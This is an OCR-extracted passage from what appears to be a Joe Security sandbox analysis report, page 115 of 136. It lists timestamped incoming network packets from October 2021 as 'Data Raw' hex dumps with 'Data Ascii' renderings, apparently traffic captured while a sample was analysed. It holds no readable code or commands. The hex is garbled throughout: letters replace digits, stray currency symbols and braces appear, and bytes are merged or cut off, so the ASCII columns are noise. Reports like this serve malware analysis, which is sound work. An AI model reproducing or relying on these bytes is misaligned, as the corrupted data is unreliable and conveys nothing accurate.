a=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close

Data Raw: 65 52 7e ¢8 bd a3 Oc da 73 13 7c 05 bd d9 28 7e 01 64 b8 3b d0 7f cf 51 dc 99 26 b0 eb ac cf 92 82 64 85 80
cd 09 5e 97 32 4d b0 fe 61 76 2c 1c a4 43 39 fd ca da b2 10 64 8a d1 Ob e2 e5 22 41 1e 9e ae aa d8 33 a2 91 7e 77 df eb
ce 32 3f 1b 1c 86 1b 1d da b0 73 bb 59 6e fa b4 9e 1e 44 82 fO bf 66 2d 31 ac 52 5¢ 11 c¢5 ed a0 44 29 ce cf 6d fb 36 fe 18
a0 75 ad 72 cc b9 38 89 d5 64 24 21 bb 57 af fa 24 b9 06 26 c9 54 ef 89 9d b7 c7 de ac 3e 80 fc 08 54 57 6f 1d 8d 38 07
23 74 46 df 44 6e 91 c0 33 65 b3 44 e2 46 67 02 b0 f2 c3 cf 73 Ob 2f d5 83 56 1a f6 d7 f4 b3 4a 27 71 al 74 94 84 €8 93
3c 19 40 3a 2d f9 f6 27 ¢7 2e 7c 02 99 fc 00 74 3b 28 37 cd 38 37 89 ab d1 29 78 ef 25 ce b4 8e d0 93 db c6 82 Oe 22 88
ec 54 77 4e be e0 bc a6 2d c1 c9 2a 8c 0d Oe 87 f7 3d

Data Ascii: eR~s|(~d;Q&d"2Mav,C9d"A3~w2?sYnDf-1R\D)m6ur8d$!W$& T>TWo8#tFDn3eDFgs/VJ'qt<@:-'.|t;(787)x
%"TWN-*=

Data Raw: c6 a5 38 1b 15 5¢ 71 44 c7 5f af fe 16 5f d2 f1 a9 7b 85 d2 ab 36 1f fc 8a 9e 41 d8 07 7c de c7 c0 91 53 d7 Of
78 27 d3 56 e8 30 5a da a9 bl 42 2e 02 52 bf 4d 4e 18 3e 28 7b 56 e8 19 ee d7 68 da 79 dc 56 90 53 b5 06 73 25 38 a5
b4 99 f6 09 ef 5b 3 05 c4 86 96 26 2d 76 37 2d b6 €3 32 e0 68 ed 3e b9 52 40 92 33 80 54 f8 c7 04 f6 6a el 82 13 18 10
40 0e 19 8b f3 48 91 e4 1c 25 ba el 43 80 83 71 6a d7 c0 bf 35 15 7e 8a 70 e4 3c 91 cc 96 16 32 Of 51 f4 28 ba 9c d5 9f
4 69 2f 47 12 fa 7b 6a ef 9f 3f dc dd 42 83 fb 6f b1 8d b3 2c 15 ad ee b2 03 33 72 6f b7 85 Ob 3e 57 17 92 90 06 19 54 24
41 dd 5d 43 54 12 7c 7f ¢8 1d b7 a7 ca ed 76 c3 09 5f a7 e3 85 d5 b6 d5 35 ac a2 c8 14 e2 85 51 cd 10 11 63 Oe 5b f2 5¢
66 43 f1 d9 25 87 23 4b ¢4 28 11 7f a5 1a 1d 17 bl ac

Data Ascii: 8\qD__{6A|Sx'V0ZB.RMN>({VhyVSs%8[&-V7-2h>R@3Tj@H%Cqj5~p<2Q(i/G{j?Bo,3ro>WT$A|CT|v_5Qc[\f
CY%#K(

Data Raw: 18 cO c6 b1 da 9a 02 78 f3 12 c4 d8 d1 a5 a4 c9 53 6d a5 9b c1 22 c6 c5 04 18 ae 8f €2 79 b7 56 4e al e9 b2
2e 7c Oc 80 32 12 f2 b8 d4 e5 32 86 9b a2 64 ec 52 3b 44 1d 0f b0 f5 44 be 5 93 2c ¢8 30 13 cf ef af f4 74 f7 b3 53 08 7a
3acl 4d a8 d6 10 86 5a 6b 05 4c 74 1b 10 04 86 8a 86 3c 85 5d e7 4e 96 5a e ff 4e 97 f9 4e 71 fa 82 6e 88 98 94 {7 98
69 96 cc 46 d8 b6 86 d7 c5 e0 74 49 ca 31 1d 8e d2 el 4d 46 77 c8 f5 31 02 b4 8 db 7d 41 db f4 3e 53 80 fb 77 5a 15 70
24 8e 4f 55 47 ¢1 85 17 e6 4b cb c6 1f f8 48 94 91 b2 9b b2 88 28 74 e3 20 42 bf ae 0d e5 1b d8 49 90 c9 15 ba b4 05 af
88 ec b0 61 6a dc a0 2e fc 18 4b ad 7 46 16 fd f7 d4 19 48 48 a7 8e e4 99 1a 6b 2c ab 7f ff 9e d5 al 8e bb 4b d2 22 ff d1
da 16 Oc 56 84 el 07 7e 87 d8 79 42 63 be 27 d5 32

Data Ascii: xXSm"yVN.|22dR;DD,0tSz:MZKLt<JNZNNgniFtIIMFw1}A>SwZp$SOUGKH(t Blaj.KFHHK,K"V~yBc'2

Data Raw: c9 01 e7 26 1d 35 64 Ob 3c 70 ce 2a 9b f0 8b f8 21 66 7f dc 4f 34 f8 2c 30 15 d6 7b 66 ff 48 20 el 9c fe 2f 63
€2 8b 24 52 a4 99 b0 f7 90 71 a3 89 ac 1f be ef 83 71 cd 7f 80 c3 a3 5e 1c 5d bb e2 d7 7f 49 de 70 2d 28 Ob 23 92 8¢ 71
66 8¢ 96 44 Oc 55 b7 f4 db 09 ed 2d d6 el 3f 80 c3 c4 5b 03 8f 84 50 86 80 10 1a 4b 84 97 11 fd 40 32 40 fd 2c 9a c9 4d
54 11 9f 92 b5 4e 21 3a 30 4c¢ 79 65 c4 59 d2 3e 08 d5 74 Oe c9 4e 8a c3 a3 b6 e9 be e3 78 8e 19 el 58 bc b8 d2 e6 5e
7ac9 47 5d b7 61 3e c4 2f 41 cd 14 9a 38 86 74 63 2f 59 62 9b c1 8b f5 3¢ 6e e5 85 a0 33 f7 37 dd fb 4e a6 ed 7e a8 44
bd 6d f3 40 f1 27 42 44 f9 18 ba 8e f6 db fe b4 7a 08 31 e8 6d b5 50 3f 54 41 6¢ 8b 98 a0 93 93 4b 3a df 79 fa c6 86 6f 19
65 7f ea 76 83 78 59 d7 fb 98 81 29 04 03 fd 8f 22 b5

Data Ascii: &5d<p*!fO4,0{fH /c$Rqq"]Ip-(#qfDU-?[PK@2@,MTN!:0LyeY>tNxX"zG]a>/A8tc/Yb<n37N~Dm@'BDz1mP?
TAIK:yoevxY)"

Data Raw: 26 04 7a d5 b6 d5 06 fO 1a cc 9f 9f 79 62 94 08 dO 9c 06 d2 af a8 ed 1e 01 18 de 97 a2 ac 3b 28 11 7f 2e 66 a5
13 30 4f c1 9b 2b 66 ac ee db 76 5b a8 f7 d8 64 2f 60 62 40 0a 44 2c 98 ba b7 2c 18 b4 d0 d9 63 ff fb c7 d1 dc d8 99 13
39 cb 2b 23 72 81 2f 5¢ 03 f4 c5 6f 9¢ 5f 7b b0 2e a0 8d 79 06 89 e6 8f 43 ae 71 Ob Ob 8d b7 69 a9 49 ae 52 5c fa 3 60
3b 44 29 ce cf e6 86 c2 3f e7 a8 f4 4a 8d cc b9 38 ba a9 dc 20 ee 6b fd 2a 24 51 4b db 86 92 aa a3 44 bc 68 {3 2f db df 3b
86 54 c8 ae 53 88 2c b8 99 4d 1a 29 20 38 94 f0 21 82 18 ee 9f 00 f2 86 bd e7 20 00 5d 1c 6f 4a c8 f2 c3 14 59 8a 00 80
73 e6 8a b1 80 8f 4b 78 d7 ¢3 89 7 Ob ab 4f 41 1e cO 7f bf 5¢ bb 02 89 ce 2¢ f8 9¢ 10 a2 f8 c1 1a 8a e0 34 Oc 74 Oa cf 4d
5c 18 12 77 14 6d 4a b1 60 59 a7 4a 7f 23 b4 95

Data Ascii: &zyb;(.f0O+fv[d/'b@D,,c9+#rN\o_{.yCqilR\";D)?J8 k*$QKDh/;TS,M) 8! JoJYsSKxOA\ 4tM\wmJ'YJ#
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Timestamp transferred Direction Data

2021-10-13 13:52:05 UTC 535 IN Data Raw: 7a 5c c8 f2 0d e5 e0 3 46 97 e5 b6 52 27 9d 1b b5 69 14 69 36 ac 82 d2 00 53 5d 37 c8 82 Oc fb Of 46 c9 le cf
68 a3 38 fb 78 28 4f bb 83 02 fe Ob 83 ff 70 dd b1 dd 6a b8 1f 09 d3 58 b5 62 85 f4 07 11 4c b3 f9 75 63 53 85 a7 9a 84 6d
c2 c6 37 1f 7f 4e 9a c4 18 73 76 b8 44 fc d7 0f a3 Oc 30 52 25 1e 9c 3b 3c 59 95 {7 1e 5a 06 15 7 38 bb 9d fe 5¢c 62 d3 17
6d fb 5a 64 €5 28 51 02 d6 51 3e 43 7b 77 68 4d 53 f0 f7 09 6¢c 9f ef 5a 9a db 55 73 a6 9a b4 c1 86 d1 f2 b6 e3 98 32 31
17 ac 1a 76 7c dc bd 33 6e f4 e7 a4 7a 43 4e d7 05 e6 21 8b f3 48 56 al e4 14 8a el 43 47 c6 a9 58 e7 f1 8d 53 d2 3b 56
70 e4 fb d4 1c a4 26 03 39 37 33 6d 6e 9c d5 58 b1 99 18 47 12 fa bc 2f Of ad Of ec €5 24 44 be 8b bl 8d 5b ef 65 ac ee
31 c7 3f f7 af ¢3 8f 80 73 5f d0 d3 f4 07 19 54
Data Ascii: Z\FR'ii6S]7Fh8x(OpjXbLucSm7NsvDOR%;<YZ8\bmZd(QQ>C{whMSIZUs21v|3nzCN!HVCGXS;Vp&
973mnXG/$D[el?s_T

2021-10-13 13:52:05 UTC 536 IN Data Raw: 10 6d da 18 5f 3a be 0d 69 19 ec 08 66 b5 2d c1 4a be c¢5 52 50 90 7d d9 01 8a 6b 54 5b 66 63 d1 24 86 7a f9
7b 40 79 ff 86 a3 45 55 23 bb 43 3c 4b fe 25 a2 6 47 8c 81 9e 7b 4d 75 5f 1d 59 cb 88 2e 9f 6a 8f d1 e7 05 ff 88 c7 36 88
1a 76 86 d7 90 d7 d1 fO 7a d4 ee 50 30 73 ec aa ba 35 d2 4a 46 76 6f 97 48 54 08 36 55 Oe ba b8 fc 80 8c e5 2b 89 44 fb
50 bd 77 3c 6 fa 49 a9 fb 76 a0 b7 a0 31 38 68 1b 04 48 67 82 cc bd 91 9a 09 d1 0d b9 fd f1 4c 15 09 9b 99 bl 91 04 16
eb 99 75 6a 30 82 15 7b fc f6 18 63 0a 6¢ 61 04 be 3f 8 fa 2d 09 8b 83 e6 3a 61 8 fd 15 44 ¢3 8d 4b 8c 5¢ 3f 84 14 11
03 ef fb 2a Oe 2e 7c cc 9a e9 44 7f 85 61 1b 91 Of 4d Oa Oc 68 Oa 94 fa 80 5e de 0f 2d eb 5c¢ ce 00 c4 ad f8 7c 5d e3 9f ba
a4 8a 70 3d c6 6e 75 al 4d 69 47 6b 6b 7e b9 1f d4
Data Ascii: m_:if-JRP}kT[fc$z{@yEU#C<K%G{Mu_Y.j6vzP0s5JFvoHT6U+DPw<Iv18hHgLuj0{cla?-:aDK\?*.|DaMh”-\
|Jp=nuMiGkk~

2021-10-13 13:52:05 UTC 538 IN Data Raw: c6 8d 90 e7 08 46 a6 06 41 7a 04 75 19 54 a7 85 fd d8 83 20 7a f1 2a 24 4f 3¢ f2 52 85 76 c2 09 5f 2a 66 f5 2e
49 2a 65 c6 a3 45 59 7e d4 03 9b f8 fc 21 Of 5b 71 98 7a c6 31 ac 64 Oc a6 33 3f d7 ee f2 29 1f 6d ec 4e 53 6f c8 c3 a4 45
b3 43 ff 0e 5f 43 9d af 27 d0 5d cf 05 40 2f 1d 44 b7 a7 9d 47 77 be 98 b3 b4 ca 92 dc ac 3b ba 75 a5 4b 5f 6e 81 7d b4 6b
al b8 {7 1b 18 aa 1d 98 al 8c Of 84 21 3a 1a 93 8a 71 bb 01 34 b7 e5 53 2d ac db da 95 ce ed a0 2e 29 ba c9 e0 b6 c6 af
f3 a4 f8 f8 8a 9e ea d0 a6 b6 65 24 ac 60 el cb fe f8 b0 fb 07 71 3d a3 00 a3 e3 c5 b7 89 6 10 dO 66 33 4f Oa 18 ad 6b 66
4d 72 29 ef 7b Oc 9e e0 17 99 5b 58 80 28 47 ae 39 ff e2 a2 9f ab 62 78 30 67 1b d2 d7 f4 3a cc 67 7a al 09 fd 3f 95 ab 3b
48 8d ¢3 25 2c e0 1f cO 7f 63 ¢8 11 fd b7
Data Ascii: FAzuT z*$O<Rv_*f.I*eEY~![qz1d3?)mMNSoEC_C'|@/DGw;uK_n}k!:q4S-.)e$ q=f30kfMr){[X(G9bx0g:gz?;H%,c

2021-10-13 13:52:05 UTC 539 IN Data Raw: 9c 1e bl 8d ed ed 81 53 a6 4a 5e 34 52 25 76 76 cf 46 Ob 63 de cb 0Of 3c eb 86 be 08 ea bd e7 9e 25 92 a8 16
b7 05 df 04 e4 bf a0 32 1c fd 8e f6 79 45 34 d7 ff 7 5f 99 c9 56 c5 9e e4 3b 1c 79 4f 69 89 11 37 d8 1c 19 07 53 df 79 29
32 6ca2551cdlcedd 79331931 0d 60 1c c7 a5 3b db 96 98 61 79 3b 5c¢ af fe 61 60 82 7c 3c db 7e 2d 54 61 4d 14 38
c4 40 d8 84 b8 d2 4a 95 71 de 52 af 83 d8 2c ef fc 34 5a da fb 38 1f ce c5 17 5b 4e 4e 18 3e al 3e be 61 44 02 b1l el 97
89 55 0b 62 da e8 f0 fa 78 c2 5a 62 ¢7 a9 52 64 be be c¢6 01 57 31 8f eb 84 23 01 ac 78 67 6b 84 6e d2 91 04 cb e7 3b Ob
d2 58 cc 04 f6 3d d2 7d 7b ef 4e 54 c2 4e dc a3 c5 df f8 4d ac ¢7 11 ca fd 77 99 9c 20 c0 bf b6 d1 6a 03 35 18 07 56 b9 9e
49 01 cf Of 7f cd e7 5f ec 21 84 62 2f 47 67 fO bc
Data Ascii: SIMR%WWFc<%2yE4 V;yOi7Sy)2IUy31%;ay;\a’|[<~-TaM8@JqR,4Z8[NN>>aDUbxZbRdW1#xgkn;X={NTNMw
j5VI_!b/Gg

2021-10-13 13:52:05 UTC 540 IN Data Raw: 1d 0 ¢4 aa 00 17 1e cO 7e 34 20 03 ¢1 ¢8 15 1c 79 7f ed a2 f8 c1 fb d2 5 b5 55 41 fd 03 e6 81 2a 4e c7 eb 6d
20 b1 66 48 3 1f 33 75 24 58 d2 3e 9b 92 f2 57 Of cb 9c 34 36 4c 00 7f 2 13 49 53 d7 a2 ae 6d a3 71 96 73 1e de 7e a2
f7 93 €3 €0 b2 02 57 ¢9 38 92 7a 28 36 a9 61 da 03 f5 06 2d 4d 22 aa 34 59 1f 2 08 b1 86 a6 f1 78 60 fd 92 d5 36 5d 84
92 2¢ €9 bd 35 43 53 e6 aa 39 a6 88 fd 24 c2 e4 72 7f 97 51 e3 59 d3 d4 3d d7 16 bc 84 c4 e8 34 8e 92 9e df d1 47 2¢ 06
7d 2f €0 82 26 58 €2 c7 d5 90 55 a0 22 5¢ 4b a9 32 5e 01 0d ab 03 8d f4 cf ed 56 65 03 8a 95 ca 4b d6 12 56 bd 1f 7e 4d
60 fa fd a0 bd f5 93 63 94 b3 91 24 61 2f 09 02 8e 58 11 41 e8 15 a7 27 55 29 6¢ 48 4c 8 c9 ff ba f9 ad 76 2c 7a c8 18 9f
72 fd 97 6a a5 52 db 42 46 Oc 69 a5 e7 2a 09 25 95
Data Ascii: ~4 YUA*Nm fH3u$X>W46L.ISmgs~W8z(6a-M"4Yx 6], 5CSISrQY=4G,}/&XU"\K2"VeKV~M c$a/XA'U)IHLv,z
1jRBFi*%

2021-10-13 13:52:05 UTC 541 IN Data Raw: Od f4 28 ba 5b 90 23 da 69 4a 47 d5 bf bb 12 ef fa 3f ba 54 0f 47 13 30 e0 8c b3 1f dc c7 d8 e3 8e 66 f4 3d 70
00 77 cl a8 e8 bc 90 62 19 93 61 c1 bl 5d 2f 54 74 5 32 4c 5 8b f6 cb ed fb 87 32 a0 24 27 b9 55 8e e4 40 c4 64 c8 14
5b 84 51 cd 10 91 5b 20 2f b5 1d 2e c0 08 d7 57 73 75 21 cc a5 54 ¢3 f5 97 90 6b 4e 53 c1 ca c3 ff 74 b3 43 f1 5e 6b 6e
5c 53 a2 93 ed b3 ef a9 ad 7b 45 3a 58 07 c0 01 da 67 3e 38 cf 68 29 d7 0d 9f b9 b0 ca 98 e5 42 6f 12 80 3f f9 85 76 37 ef
bb e4 54 75 ef 2b fc 20 4e 1a 97 b3 13 83 f0 3¢ a2 25 da 00 df c9 61 3a 12 5f 17 7b 26 a4 20 fa 36 7d dc a8 f0 6d 07 54 e6
80 35 d5 64 24 74 2f 08 fc 39 1d f8 34 8¢ 86 7e 5a 15 bf 18 22 22 6f €3 0f 71 4c ¢3 72 5¢ b6 a9 45 66 a5 16 79 aa 64 8f 30
ec ca ee 56 11 83 42 47 2c fb 2c 66 92 e2 90
Data Ascii: ([#iJG?TGOf=pwba]/Tt2L2$'U@d[Q[ /.Wsu! TKNStC Kn\S{E:Xg>8h)Bo?v7Tu+ N<%a:_{& 6}mT5d$t/94~
Z"oqLnEfydOVBG,

2021-10-13 13:52:05 UTC 543 IN Data Raw: 7c 4d 5d 4b 13 cb cc 1c 9c 91 80 6e 25 93 be 4a f7 51 ec db 7f 0f 16 65 81 7e a6 4c 33 3a 30 el 71 3d 1d 09 ef
fb 4c 69 47 7b 17 55 b9 1f 06 d8 79 1b 6e Ob 21 b9 48 bc 49 97 14 bb 40 29 70 20 82 f8 f4 50 48 b7 05 b4 ab 6 07 f2 f4 27
56 27 el 8d 55 bf 9c 75 17 5f 99 e9 07 36 67 cd bf b2 f7 c2 01 ff 63 6a 72 0b 30 7b 92 8¢ 42 4f 36 bc d2 fc 6e ab 4e 74 dd
cd 49 8e 21 93 40 c6 28 b5 73 ee a3 8e 15 91 b7 a8 Oe 9 a0 84 19 68 8a 7a 2d 28 2 3b cf 4a c0 ca 3d 5a bf 3d 03 c5 19
08 eb 32 2d ac 3f 01 63 4d 52 51 2e 69 45 2e 02 d7 7f 39 38 4e b3 98 7b 76 €8 19 65 50 04 d1 79 dc db d8 52 3c 89 1f 2e
38 a5 37 61 e6 7f c2 d8 9d 55 c4 f2 b1 70 7a 9e e0 2a b6 €3 bl 24 60 6e 80 11 db 40 92 33 f4 40 ae 90 c3 70 c2 68 82 13
18 10 40 Oe f1 51 f1 48 91 67 d8 2d 39 df 43 f4
Data Ascii: [MJKn%JQe~L3:0q=LiG{Uyn!HI@)p PH'V'Uu_6gcjr0{BO6NNLI!@(shz-(;J=Z=2-?cMRQ.iE.98N{vePyR<.8
7aUpz*$ n@3@ph@QHg-9C

2021-10-13 13:52:05 UTC 544 IN Data Raw: 16 42 35 d7 c2 29 47 cb 7b e4 1b 5f €3 90 c9 3f 8a 0b f8 61 91 f5 b3 c1 b4 75 ac 09 f2 38 37 a6 51 48 85 8e d2
55 41 el 91 80 e6 4a 03 6¢ 52 80 fa 95 f5 ef a2 ae 92 79 €8 98 30 cd 3c c6 ec 41 0f d9 53 cb 1c b5 14 ea 60 €0 62 8d ec
2c ad 3e 82 96 03 e4 84 a3 62 cb 7f 2c 09 c2 04 2c 85 Of 4d 5¢ 61 34 a6 dc 9b a2 a5 fe 8b 20 81 5d f1 74 ¢8 b6 b0 02 da
de c3 Oe 89 d7 c9 2a aa 5a 50 1e 59 48 cf 9c 3c 38 d4 5a 02 57 b8 ff 3¢ 0f 87 1c 12 72 25 6f 5¢ 84 {7 a8 64 be b8 fd fc 52
a6 34 f1 de 15 17 a9 3e 70 15 97 b0 8b 02 06 €0 41 b6 39 53 84 cb 3b 75 74 7a 39 74 1d 78 c7 c4 47 aa 20 a7 b1 50 d7
4e 20 3c 52 2e ee 8c a6 54 4e 65 el 27 b3 ba 89 79 50 41 84 ee e6 84 be 98 56 db 99 10 6d 25 f3 b2 97 8a 8f ¢7 10 58 84
eb 87 3b 07 85 ef ¢3 f4 74 {7 38 f2 fc a0 fc 44 70 09
Data Ascii: B5)G{_?au87QHUAJIRY0<AS b,>b,,M\a4 Jt*ZPYH<8ZW<r%o\dR4>pA9S;utz9txG PN <R.TNe'yPAVM%X;t8Dp

2021-10-13 13:52:05 UTC 545 IN Data Raw: 26 87 8c eb Oe b7 6e Oc 3a 67 bb el ¢8 f5 8b fc 27 1b 91 32 60 b1l 2c e2 71 e0 3c 91 41 d3 1a 62 59 b9 a8 08
bb 9c 56 5b d4 ec ef 48 9a 02 7b 6a ef 14 b9 7c d6 42 83 ac 07 46 d3 a7 e0 46 fe be 3f 7d 2f 25 a8 f2 51 57 3e 32 17 55 d5
de 61 54 54 41 1a 18 9f 38 12 13 7f 0f 58 57 d5 ca 88 76 04 4c bb d5 e3 ab d5 71 90 dd c9 a2 b0 14 25 c0 bd a8 10 11 63
€6 b3 2c 5¢ 66 c0 35 cd 1le 44 57 4c 4f 65 1d 2c f4 e5 cd 7d f1 21 ab ff d4 99 d8 el 11 9a 01 26 e6 19 22 aa 33 64 34 a8 f9
9e bb c8 e2 dc 4a 69 05 1c db b7 7d 0f 6b 62 97 4d ae 30 f7 b6 c2 6e 81 dO 18 03 ¢7 b9 30 dd 2c cd 90 74 d9 b6 b5 8f 1f
6d 96 4b b8 cb bc eb f0 cd 66 4b b8 €9 ae b4 88 f8 ed a0 17 a4 8b 1b 3d 76 bb 9e e5 5f 8a fc 9a e4 fc 39 31 5e 2 84 24
ad ed c9 51 bl bl 66 54 22 07 f4 ac d8 3d af b7 5¢
Data Ascii: &n:g'2°,q<AbYV[H{j|BFF?}/%QW>2UaTTA8XWvLq%oc,\f5DWLOe,}!&"3d4Ji}kbMONn0,tmKfK=v_91$QfT"=\

Copyright Joe Security LLC 2021 Page 115 of 136



kBytes
Timestamp transferred Direction Data

2021-10-13 13:52:05 UTC 546 IN Data Raw: Ob 6b 2f 09 06 85 9d e7 be 17 ae 15 41 c8 dd 12 73 a3 85 0a b6 f0 93 05 d5 4b e7 a2 48 9e 72 25 f0 6a a5 ea
4b 22 99 cc Oc 00 97 80 6e 27 2d 51 76 06 ae 9e d5 4f da b6 17 55 fe 76 8¢ cd 52 9c 6f e4 ¢9 b0 1e fa 39 08 95 9e 70 ce
a6 47 €0 7a 4c 99 8a e8 7e 04 54 96 8c ca 27 33 66 25 40 0 de 7d 22 10 74 10 5f 1a 6e 6b a6 d5 bb 69 1f 45 ae c7 df bd
b7 13 7c 92 1c 29 d3 e6 43 e6 e2 47 25 3c 57 68 04 9c 95 cb d9 8e 35 93 0f e8 4d eb 68 c4 30 e7 2e 26 d9 ca cc fe 66 €5
5 85 ca fb 63 90 f0 01 b2 ¢9 52 a7 51 01 e9 0d b8 88 fa 93 53 0a ab 36 9c 38 82 ce a9 f5 de 7c de 44 04 99 d6 17 7b 6b
ac a6 5a 82 24 9d 9c b1 b3 42 2e 02 ba f9 25 4f 18 d5 9d 16 d3 10 e7 11 28 38 b0 03 8f be 34 8b b5 06 0 e1 30 f5 5¢ 62
2e 09 ef d8 27 0d 41 46 2 35 a6 03 3b 47 a2 24 74 8 6b
Data Ascii: k/ASKHI%jK"n'-QuOUVR09pGzL~T'3f%@}'t_nkiE[)CG%<Wh5MN0.&f_cRQS68|D{kZS$B.%0(840\b.'AF5;GS$tk

2021-10-13 13:52:05 UTC 548 IN Data Raw: 64 45 ed be 93 2c 8a 35 26 a8 59 fc 03 20 70 b8 0Ob 3f 23 ae 9a d3 c9 87 c9 29 af 5¢ 06 8b d3 09 50 87 ba 23
aa 75 cd 98 Ob 74 a3 69 3c ee 18 e5 bc 9f 3c a3 9b 77 €5 30 84 ee 85 cd d8 9c¢ 31 75 70 ba d4 8e 1b 4b 97 88 c4 b9 42 b0
ee 84 fb 81 be 06 cO 89 c2 08 35 38 1c 50 Of fe 64 58 e5 55 €5 el 44 36 2e ¢3 50 56 3d f4 e0 02 72 fO 7f ¢9 5c df 6b a3 97
4e fd d1 63 6e 7b 78 Of 6d d6 20 8b da 8a c7 41 14 10 1c a2 83 c0 ad 4a 57 8c 22 83 1f 41 15 6¢ 1e 42 ba 6d 47 1d 0d Of
3ach 18 d7 32 c6 13 9a ee 81 2a 09 85 35 4c bb 1e 1a 2e fc e2 6e 5c ef cO 88 07 ea 82 cb 8f a6 ee ff fe d1 fd d6 92 50 53
10 f8 01 21 3f 02 36 a3 fd b0 41 3c e0 eb 26 15 db c4 70 4b 33 67 9b a0 d4 62 al 2c ac 7d d4 78 5a fc 88 48 d2 72 ae Oa
03 11 ad Ob e7 8a ac 64 8d ba 3a d9 ae Oa 1a 75 1b
Data Ascii: dE,5&Y p?#)\P#uti<<w01upKB58PdXUD6.PV=r\kNcn{xm AJW"AIBmG:2*5L.n\PS!?6A<&pK3gb,}xZHrd:u

2021-10-13 13:52:05 UTC 549 IN Data Raw: 09 41 70 e3 23 1e b6 69 70 75 b4 b9 9d 60 87 3a d1 52 50 92 33 €8 54 8 c6 04 9c 6a b6 45 15 18 10 40 Oe de
ce ff 48 91 e5 1c cd 21 d0 42 80 00 b5 7e 5e c6 3a f5 61 24 01 8f 6f 79 9d 47 98 7c 32 5f 00 9e 2d ed 74 4a 8d f5 69 ac 83
06 c7 7f 6a ef 5f 4a 9f 56 45 eb fb ef b1 8d 3e 79 19 ff b8 e2 54 db fO 76 b6 85 80 7b 5b 7d 96 95 06 19 55 24 29 dd 4d 43
54 42 16 7f 9f da bl a7 ca ed 76 4a 4c 53 4f a2 b4 d4 b6 56 f1 84 2b ce 91 22 f0 f9 92 23 d1 3d 53 98 77 9c 1f 61 7a ce 4d
87 a3 4b c4 a5 5¢ 73 f4 4c 4f 40 59 97 27 9a 2b e5 e3 a6 1c b5 9c 67 e7 19 af 14 93 c7 96 94 23 ab f0 08 bb a5 5e 33 d3
€829 3a 80 ce e2 27 53 9a b6 3b ea 02 ae 58 a5 15 51 b7 92 32 1b 1b 30 ae c6 96 ac 7d c3 a9 19 41 f0 4b 7f d8 83 c7 1c
e4 66 7e 31 6b 17 ac 68 c5 9e a0 83 6¢ 3a bb 6d
Data Ascii: Ap#ipu’:RP3TIE@H!B~":a$0yG|2_-tJij_JVE>YTV{[}JU$)MCTBVILSOV+"#=SwazMK\sLO@Y'+g#"3):'S;XQ2
0}AKf~1khl:m

2021-10-13 13:52:05 UTC 550 IN Data Raw: de 98 07 97 53 d7 0f 78 79 8e 95 4d ff fb b4 02 08 69 18 60 fa d8 e8 a2 a7 02 7d fO ba 69 f5 e6 d5 68 da 2a 57
Ob 9c d6 6e 09 f7 cf 38 a5 b4 ff 75 32 ef 54 67 e5 c4 86 96 a5 50 66 37 22 32 35 32 e0 68 bb 69 8a 92 28 94 31 80 54 a8
4289 0c 97 1e 7d 42 2b e6 26 87 9c 73 Oe b7 6e Oc b4 Oa bb el 10 68 91 43 6b d7 43 7b 25 90 be fe 6f 69 81 69 31 69 e9
b9 c4 7a 0f b8 b5 2b c4 1c Oe 35 5b 4b 74 73 6f 65 a9 1c fe de e6 b2 f1 17 05 b1 e7 b6 7f 9e fO e6 el eb ad ba 6f b7 Oe 3
bd 93 07 17 6f 72 72 03 cc 8e ec 5¢c 43 57 d2 2c f2 5¢ 68 4f 5a 3512 21 91 e1 91 89 e2 85 82 e5 3d 92 82 a3 c8 99 67 7d
ac 32 ef 41 8b a5 6a f3 5¢c €5 87 ed 5c e5 3 3b c6 48 6d e7 82 5a e5 7b 94 88 fO 4a 90 18 b4 41 3b 52 f1 73 65 af 6¢ 40
aa d6 61 36 a8 57 fd 93 c5 86 2d 18 b4 d9 51 64 fe
Data Ascii: SxyMi }ih*Wn8u2TgPf7"252hi(1TJ}B+&snhCkC{%o0iiliz+5[Ktsoeoor\CW,\hOZ5!=g}2Aj\\; HmZ{JA;Rsel@a6W-
Qd

2021-10-13 13:52:05 UTC 551 IN Data Raw: 05 f4 6a 72 3b f1 de 96 dc 3d el 72 11 92 3b 9e 2c 87 5f e5 b6 7c af 6¢ 20 ec be 76 f1 6¢c db ad 78 ad 92 17 42
69 21 3c dd b2 f6 27 48 4b 60 30 58 19 41 7a 60 f6 ad 76 7f 91 92 4c d2 Od el 62 4f 56 41 le 32 41 4d ac 75 fd e7 79 fe 3t
c0cB84f94 cd 12 bl 7a 18 el 7a 05 el 6¢ 3e 4d 13 bb 15 c9 35 aa d6 64 44 6f ad 8a 4f e5 1a a0 f7 f0 a3 42 91 88 7e eb
87 83 2c 24 f7 9b 8e b1 00 b1 9e 44 59 03 8b dd a2 27 ac 13 58 eb 4d 51 65 49 f6 Oc e3 9e 01 24 7a 7b 3c 4d 62 c1 a8 c4
ef 10 ff 4b 5e 3c df fd 29 fa d3 4a f4 93 ff c9 84 49 89 Ob 81 ac 35 79 35 d2 fO bb 04 12 e5 56 5f 04 b6 57 7f e2 8b b5 51 98
03 bf 34 d7 f1 d7 a4 51 72 20 3a 61 49 Oc bc 21 c4 8¢ 59 5f ca 7d dO 26 6f 18 69 75 8c 02 0f 92 de 00 6¢ 17 21 2e 6d 57
26 38 89 ca 2a 24 d4 6b 13 5¢ 71 17 91 d4 da
Data Ascii: jr;=r;,_|l vIXBi!l<'HK 0XAz vLbOVA2AMuy50zz|>M5dDoOB~,$DY'XMQel$z{<MbK"<)JI5y5V_WQ4Qr :al
1Y_}&oiull. mW&8*$k\q

2021-10-13 13:52:05 UTC 552 IN Data Raw: 9d 07 40 5e 65 45 b7 a7 5d cb 07 Oc 9f bd fc c3 el d9 d8 b1 17 78 Oc 0d €0 e4 34 ae 64 93 57 29 bd ed 9e 37
d4 23 dc 42 06 eb 49 71 c2 3e 6d b6 18 b2 f1 ca 6a 15 6d 9¢ 50 29 17 fd b1 90 47 5d ch 89 56 0a 44 1a 93 ed 7d 2c b3 68
be 38 31 84 32 74 ¢7 07 f3 al fa 1b f5 3f 8c 3¢ ad 20 80 b0 €0 51 3¢ aa €2 70 b2 59 70 50 44 f1 95 cb 6 dd 51 5¢ e9 e9 48
caeb5 72 e6 4d 5c 97 18 32 54 c7 fd d3 a3 69 63 72 a7 be 59 65 d4 ef a8 83 49 53 74 €7 32 03 c9 17 21 76 40 89 c2 8e af
be 1e 91 29 64 ¢8 50 18 48 01 b7 3c 8b 64 ef 00 42 55 da 7b ce 46 ca fe 7c 8a €9 86 €6 d3 6a 55 da 21 7b 49 4a 71 33 a4
